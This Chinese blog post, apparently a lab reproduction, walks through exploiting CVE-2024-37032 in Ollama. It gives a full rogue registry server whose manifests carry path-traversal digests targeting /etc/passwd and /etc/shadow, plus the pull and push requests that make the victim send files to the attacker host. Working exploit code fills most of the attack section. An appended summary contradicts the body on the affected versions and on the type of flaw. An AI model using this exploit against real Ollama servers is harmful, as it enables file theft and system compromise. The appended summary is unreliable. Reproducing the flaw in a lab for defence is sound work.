Ollama远程代码执行漏洞(CVE-2024-37032)

0x01简介

Ollama是一个专为在本地环境中运行和定制大型语言模型而设计的工具。它提供了一个简单高效的接口,用于创建、运行和管理这些模型,同时还提供了一个丰富的预构建模型库,可以轻松集成到各种应用程序中。Ollama的目标是使大型语言模型的部署和交互变得简单,无论是对于开发者还是对于终端用户。

0x02 漏洞概述

漏洞编号:CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确,服务器错误地将有效负载解释为合法的文件路径,攻击者可在digest字段中包含路径遍历payload的恶意清单文件,利用该漏洞实现任意文件读取/写入或导致远程代码执行。

0x03 影响版本

Ollama < 0.1.34

0x04 环境搭建

在docker里面设置/etc/docker/daemon.json文件,可供拉取国外镜像(没有可新建)

{
  "registry-mirrors": [
    "https://registry.docker-cn.com",
    "http://hub-mirror.c.163.com",
    "https://dockerhub.azk8s.cn",
    "https://mirror.ccs.tencentyun.com",
    "https://registry.cn-hangzhou.aliyuncs.com",
    "https://docker.mirrors.ustc.edu.cn",
    "https://docker.m.daocloud.io",   
    "https://noohub.ru", 
    "https://huecker.io",
    "https://dockerhub.timeweb.cloud" 
  ]
}
​

拉取docker镜像

docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

image.png

进行访问测试

image.png

0x05 漏洞复现

查看/etc/passwd

image.png

git clone exp

git clone https://github.com/Bi0x/CVE-2024-37032.git

在poc.py和server.py中的host变量和target_url和host变量,修改为目标ip,运行server.py后运行poc.py,读取/etc/passwd文件

通过模拟Ollama请求,构造一个恶意模型。在digest字段设置路径穿越payload,代码如下:

from fastapi import FastAPI, Request, Response
​
HOST = "192.168.244.133"
app = FastAPI()
​
@app.get("/")
async def index_get():
    return {"message": "Hello rogue server"}
​
@app.post("/")
async def index_post(callback_data: Request):
    print(await callback_data.body())
    return {"message": "Hello rogue server"}
​
# for ollama pull
@app.get("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests():
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
​
@app.head("/etc/passwd")
async def fake_passwd_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    return ''
​
@app.get("/etc/passwd", status_code=206)
async def fake_passwd_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\""
    return 'cve-2024-37032-test'
​
@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
async def fake_latest_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    return ''
​
@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
async def fake_latest_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
​
@app.head("/tmp/notfoundfile")
async def fake_notfound_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    return ''
​
@app.get("/tmp/notfoundfile", status_code=206)
async def fake_notfound_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\""
    return 'cve-2024-37032-test'
​
# for ollama push
@app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
async def fake_upload_post(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''
​
@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_patch_file(callback_data: Request):
    print('patch')
    print(await callback_data.body())
    return ''
​
@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_post_file(callback_data: Request):
    print(await callback_data.body())
    return ''
​
@app.put("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests_put(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''
​
if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host='0.0.0.0', port=80)
​

image.png

/api/pull端点将恶意模型载入

POST /api/pull HTTP/1.1
Host: 192.168.244.133:11434
Content-Type: application/json
Content-Length: 54
​
{
  "name": "192.168.244.133/rogue/bi0x",
  "insecure": true
}
​

image.png

通过/api/push端点将此恶意模型推送到远程注册表,服务器将处理构造的manifest文件。

POST /api/push HTTP/1.1
Host: 192.168.244.133:11434
Content-Type: application/json
​
{
  "name": "192.168.244.133/rogue/bi0x", 
  "insecure": true                     
}

image.png

通过推送后处理,执行读取/etc/passwd文件,windows下运行的server.py

image.png

0x06 修复方式

升级至0.1.34以上版本

参考链接

Probllama in Ollama: A tale of a yet another RCE vulnerability (CVE-2024-37032) - vsociety Docker配置国内镜像源 | 从01开始

### CVE-2024-37032 漏洞详情 开源AI模型部署工具Ollama曝出高危远程代码执行漏洞CVE-2024-37032),CVSS评分高达9.1,表明该漏洞具有极高的风险等级[^2]。此漏洞允许未经身份验证的攻击者通过特定接口操控服务器并实现任意代码执行,从而完全控制受影响的系统。 全球范围内约有6000台暴露于公网的Ollama服务器受到影响。一旦被利用,攻击者可以获取敏感数据、安装恶意软件或进一步传播到其他网络资源,造成严重后果[^3]。 ### 影响范围 主要受此漏洞影响的是运行版本低于`ollama/ollama:0.1.33` 的Docker容器实例。任何使用默认配置公开访问端口 `11434` 并连接互联网的服务都可能成为潜在目标[^4]。 ### 技术分析 漏洞存在于API处理过程中对于用户输入缺乏充分校验的情况,在某些条件下可触发命令注入行为。具体来说: - 攻击面位于HTTP请求参数解析阶段; - 特殊构造的数据包能够绕过现有防护机制; - 成功后可在宿主机上以root权限执行任意指令。 ### 修复建议 针对上述安全威胁,官方已经发布更新补丁来解决这个问题。为了保护系统免遭侵害,请立即采取以下措施: #### 更新至最新稳定版 确保使用的镜像是最新的稳定版本,当前推荐升级路径如下所示: ```bash docker pull ollama/ollama:latest ``` #### 修改启动脚本 如果正在运行旧版本,则应尽快停止服务,并按照官方文档指引重新部署新环境。注意调整挂载卷和映射端口设置保持一致: ```bash docker stop ollama && docker rm ollama docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:latest ``` #### 安全加固指南 除了及时打补丁外,还应该考虑实施更严格的安全策略,比如限制外部IP地址访问、启用防火墙规则以及定期审查日志文件等操作。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值